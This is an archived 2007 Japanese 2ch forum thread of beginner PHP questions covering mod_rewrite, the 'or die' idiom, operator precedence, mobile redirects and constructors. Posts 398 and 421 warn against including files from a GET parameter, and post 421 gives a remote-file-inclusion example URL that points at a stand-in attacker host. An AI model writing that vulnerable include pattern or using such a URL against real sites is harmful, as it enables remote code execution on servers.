【PHP】下らねぇ質問はここに書き込みやがれ 57
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
2007/10/22(月) 23:10:36ID:mIlonskoPHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り
◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 56
http://pc11.2ch.net/test/read.cgi/php/1192092941/
◆質問する時の注意
・ sage進行(メール欄にsageと記入すること)「sage進行」とはスレを目立つ上部に上げないことによって、荒らしが発見できないようにすることです
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
・ 書き込むときには、「公式マニュアル、リファレンス本は読みました」と明記すること
(でないと、公式マニュアル読めと煽られます)
◆質問後の注意
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
(荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)
◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。
・質問者が「公式マニュアル読んだ」と書いていないからといって、
公式マニュアルに書いてもいないのに、公式マニュアルよめと適当なことを言わないこと。
質問者は公式マニュアルを読んでいるかもしれない。
【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0357nobodyさん
2007/10/27(土) 18:11:22ID:???俺が知らなかっただけですか、そうですか
0358nobodyさん
2007/10/27(土) 18:16:56ID:???0359nobodyさん
2007/10/27(土) 18:27:15ID:???0360nobodyさん
2007/10/27(土) 18:48:22ID:DF6PJ+rw/search/%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
/search.php/%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3 でも正常に表示される
検索押すと上のように表示されるURLを
/search/?s=%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
に書き換えてアクセスすると上記のURLに変換されます。
mod_rewrite + ?s=ぽいものがURLに含まれる場合は一旦弾いて加工後のURLに飛ばして帰ってこさせてる?
この対策って一般的どういった点で効果があるんでしょうか。
見た目の問題だけ?
0361nobodyさん
2007/10/27(土) 18:56:58ID:???PATH_INFO
SEO
キャッシュとか
0362nobodyさん
2007/10/27(土) 18:57:14ID:???それ以外では珍しい使い方じゃない?
0363nobodyさん
2007/10/27(土) 18:58:52ID:???自分としてはセキュリティに配慮したサイト構築の本がほしいな
まあセキュリティやサイト構築関係は大体アマゾンで叩かれてるよなw
0364360
2007/10/27(土) 19:14:29ID:???mod_rewrite = SEOはわかるんだけど、わざわざ
/search/?s=%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
を一旦弾いて飛ばしたりするところ、なんか意味あるのかなー?と思ったので
ありがとうございました!
0365nobodyさん
2007/10/27(土) 19:45:19ID:???0367nobodyさん
2007/10/27(土) 20:05:29ID:???0368nobodyさん
2007/10/27(土) 20:08:31ID:???0369nobodyさん
2007/10/27(土) 20:14:42ID:???>俺が知らなかっただけですか
この人もそうだが、それ以前に一般常識というレスがあるわけだろう?
聞き返すまでもなく「俺が知らなかった」だけに決まってる
どうも話が通じないというか、要領を得ないというか
言いたいことがあるなら、素直に言えばいいのではないか?
0370nobodyさん
2007/10/27(土) 20:23:39ID:???俺は本人じゃないけど言わせてもらう。
>この人もそうだが、それ以前に一般常識というレスがあるわけだろう?
>聞き返すまでもなく「俺が知らなかった」だけに決まってる
一般常識と思ってないから言ってるんだろwww
0372nobodyさん
2007/10/27(土) 20:25:18ID:???"常識"なんて言葉を持ち出す奴は頭が堅くて意固地というのが定石だが
こいつは正に典型的なタイプだな。
0374nobodyさん
2007/10/27(土) 20:28:58ID:???0376nobodyさん
2007/10/27(土) 20:31:11ID:???0377nobodyさん
2007/10/27(土) 20:34:21ID:???知らなければ演算子の優先順位はマスターしておけよ
これを知らずにプログラミングというのはありえない話だ
0379nobodyさん
2007/10/27(土) 20:36:48ID:???俺は知らない、ていうか優先順位があやふやになりそうだったらカッコをつける
0381nobodyさん
2007/10/27(土) 20:44:09ID:???サンプルではよく見かけるんだけど、
die()とか使わないから、ああいうorの使いかたをしたことがない
エラーが起きたとき、ログを取ってエラーページに回すから俺もifだな
0383nobodyさん
2007/10/27(土) 20:48:14ID:???0384nobodyさん
2007/10/27(土) 20:49:56ID:???意味的にもあそこでorが出るのは変だから
0386nobodyさん
2007/10/27(土) 21:00:02ID:euGofwdi0387nobodyさん
2007/10/27(土) 21:02:08ID:???演算子の優先順位を利用したプログラミングがどうかと思うよ
使うのはごく少数のイディオムだけじゃないの
0388nobodyさん
2007/10/27(土) 21:03:20ID:???つかまともにPHPを3ヶ月もやってれば
必ずお目にかかる表現だろ。人のスクリプトなりコード解説サイトなり公式マニュアルなりで。
俺は原則としてZendのコーディング規約に則ってるから使わんが。
0389nobodyさん
2007/10/27(土) 21:13:13ID:???例文すら記載されていないが、eixt() を見ると or を使った例文が
記載されている。
まぁ、PHPでのプログラミングにおいては一般常識の範疇なのだろうけど
他言語においてはこの様な凡例は見かけないからピンとこねえや
0390nobodyさん
2007/10/27(土) 21:13:25ID:???演算子の順番なんていちいち覚えてられるかー
>>349 のようなのは、たしかにたまに見ることある
まぁ、なんとなくやってることはわかる。
なぜ or でそうなるのかは、>>352 の説明見て始めてわかったよ>if派な俺
0391nobodyさん
2007/10/27(土) 21:14:07ID:???初心者向きの手引きには必ずあるからみんな知ってる
知ってるのに誰もつかなわない不思議なor
0392nobodyさん
2007/10/27(土) 21:19:28ID:???0393nobodyさん
2007/10/27(土) 21:19:51ID:???結論としてPHPオンリーなプログラマはPHPの世界から出てくんなってことだ
0394nobodyさん
2007/10/27(土) 21:22:16ID:???0395nobodyさん
2007/10/27(土) 21:22:36ID:???0396nobodyさん
2007/10/27(土) 21:23:42ID:???のコードがあります。
URLの欄にhttp://localhost/bbs.php?page=http://example/test.php?&name=hoge
と打ち込むとhttp://〜test.phpのところまで意味が分かりますが、どうして?&
を付けているのか分かりません。普通は、.phpの後に?name=hoge&id=123に繋げれば
いいのは分かるのですが、どうして?&を付けるのでしょうか?
0397nobodyさん
2007/10/27(土) 21:25:56ID:???0398nobodyさん
2007/10/27(土) 21:27:04ID:???つーか分かってるかも知れんが、$page = $_GET["page"]; inculde("$page"); なんて
すげーセキュリティホールだから止めてね
0399nobodyさん
2007/10/27(土) 21:29:01ID:???覚えなくてもたいがい期待したとおりの優先順位だよ
グループごとで把握しとけばいい
and or xor と || && が両方ある意味はいまさら言うまでもないだろうけど
0400nobodyさん
2007/10/27(土) 21:30:14ID:???リダイレクトか何かのプログラムなんだろ
http://example/test.php?&name=hoge
はほかのページのアドレスで、それを取得してそこに飛ばすとか
0401nobodyさん
2007/10/27(土) 21:31:56ID:???始めて1ヶ月もしないうちにサンプルプログラムで何度も見たが気にしなかった
実際にはサンプル以外では使えないから
>>350を見て気がついたので>>352を書いた
0403nobodyさん
2007/10/27(土) 21:34:42ID:???||の左右ごときに死ぬほど拘るw
0409nobodyさん
2007/10/27(土) 21:39:52ID:???phpでURLをどう解釈して処理しているのかよく分からないのです。
?から&までを$_GETで取得できるってことですよね?
$page = "http://example/test.php?";
になると?が余分についててtest.phpが読み込めないかなぁと思って理解できません。
0410nobodyさん
2007/10/27(土) 21:40:05ID:???if(($a=foo())==false) {
0418nobodyさん
2007/10/27(土) 21:48:06ID:???if内で代入は無いわ
ただ ! より == false 使いたくなることはある
rubyのunlessも嫌い
0421nobodyさん
2007/10/27(土) 21:56:37ID:???PHPの権限で読める任意のファイルを読み込まされちゃう
PHPのバージョンとか設定によっては外部のPHPコードさえ実行される
http://target.com/target.php?page=http://www.attacker.com/hack.php → include($_GET["page"]);
昔某CMSが盛大にやらかしたよね
0423nobodyさん
2007/10/27(土) 22:02:24ID:???比較と代入が紛らわしかったり、==とまちがえて=としちゃうバグを防ぐためだとか。
0424409
2007/10/27(土) 22:04:44ID:???0426nobodyさん
2007/10/27(土) 22:08:32ID:???やっぱ代入文の右辺が評価式になってるっつうのは気持ち悪いというか肌に合わない
他にこういう構文で組める言語ってある?
0427nobodyさん
2007/10/27(土) 22:08:42ID:???0428nobodyさん
2007/10/27(土) 23:20:58ID:DskU7Uv6教えてください。
PHP4で携帯サイト造ってるんですが
<?php
if($_POST["send"]){
header('Location: b.php',true,307);
}
?>
<html>
<head>
<body>
<form name="form1" method="POST" action="a.php">
<input type="text">
<input type="submit" name="send">
</form>
</body>
</html>
って感じでa.phpからb.phpにリダイレクトしたいんですが
DOCOMOだと「指定されたURLは無効です」って言う
エラーが出てしまいます。
(AUだと問題なくリダイレクトできました)
何が悪くて如何解決すれば良いのか教えて頂けないでしょうか?
0429sage
2007/10/27(土) 23:21:55ID:DskU7Uv6下げ忘れました・・・
よろしくお願いします。
0430nobodyさん
2007/10/27(土) 23:22:25ID:???下げ間違えました・・・
0431nobodyさん
2007/10/28(日) 00:20:23ID:J8S2LPG/一般的な登録システムで、確認画面から記入ページに戻った時に
さっき入力していた文言がそのまま残ってるようにしたいんですが、
これは <input name="namae" value="<?php echo $_SESSION['namae']; ?>" type="text">
て風にするんでしょうか?
というか、普通にブラウザのバックボタンやキーボードのbackspaceでもどっても
記入されてる場合が最近は多い気がしますが、念のため上のような処理にしたほうが
いいのか、それとも気にしなくてもいいのか… その辺も含めて、
あれはどうやって実現してるのか教えてください。
環境はwinXP apache2 php5です
0432nobodyさん
2007/10/28(日) 00:22:49ID:???Locationが相対URLだからじゃないの?RFC的には絶対URLで指定するべきだし
あとPOSTのレスポンスで30xが来ても自動的にリダイレクト先をGETしないのが
正しいクライアントの動作だった気がする
個別の端末の動作は知らんので携帯スレでw
0433nobodyさん
2007/10/28(日) 01:00:17ID:???のオア
0434nobodyさん
2007/10/28(日) 01:04:03ID:???0437nobodyさん
2007/10/28(日) 01:35:29ID:???0439nobodyさん
2007/10/28(日) 01:46:48ID:???0440nobodyさん
2007/10/28(日) 04:10:25ID:???メソッドを実行したときに初めて読み込まれるのでしょうか?
それともオブジェクト生成した時点で読み込まれるのでしょうか?
0441nobodyさん
2007/10/28(日) 04:13:05ID:???06年 5月 05年度決算の赤字転落を公表
07年 2月 特定商取引法違反の疑いで経産省と東京都が立ち入り検査
4月 最高裁、解約精算方法に違法判断
6月 経産省が一部業務停止命令
10月 会社更生法の適用を申請
0442nobodyさん
2007/10/28(日) 04:14:16ID:???コンストラクタ内で return $var したらどうなるの?
0443nobodyさん
2007/10/28(日) 04:15:01ID:???0444nobodyさん
2007/10/28(日) 04:18:27ID:???オブジェクトを生成した時点でメモリ上に組み込まれる。
読み込み自体はもっと早く、ソース上で定義した時点で行われてるが
多分、そういう意味ではないんだよな?
0446nobodyさん
2007/10/28(日) 04:22:32ID:???0448nobodyさん
2007/10/28(日) 04:29:28ID:???0449nobodyさん
2007/10/28(日) 04:59:13ID:???コンストラクタで別に初期値設定しなくてもいいのに値を代入して、
おざなりのゲッタだのセッタだのして、
大げさにメゾlるどから値返すような人生に疑問を感じたんでしょ?w
0450nobodyさん
2007/10/28(日) 05:04:31ID:???returnなんてしようと普通思わないと思うんだけど
0451nobodyさん
2007/10/28(日) 05:04:59ID:???コンストラクタのロードタイミングも考慮せずに、
返り値の議論をしているから、それが片手落ちの低脳と申し上げたまで。
0456nobodyさん
2007/10/28(日) 05:21:22ID:???■ このスレッドは過去ログ倉庫に格納されています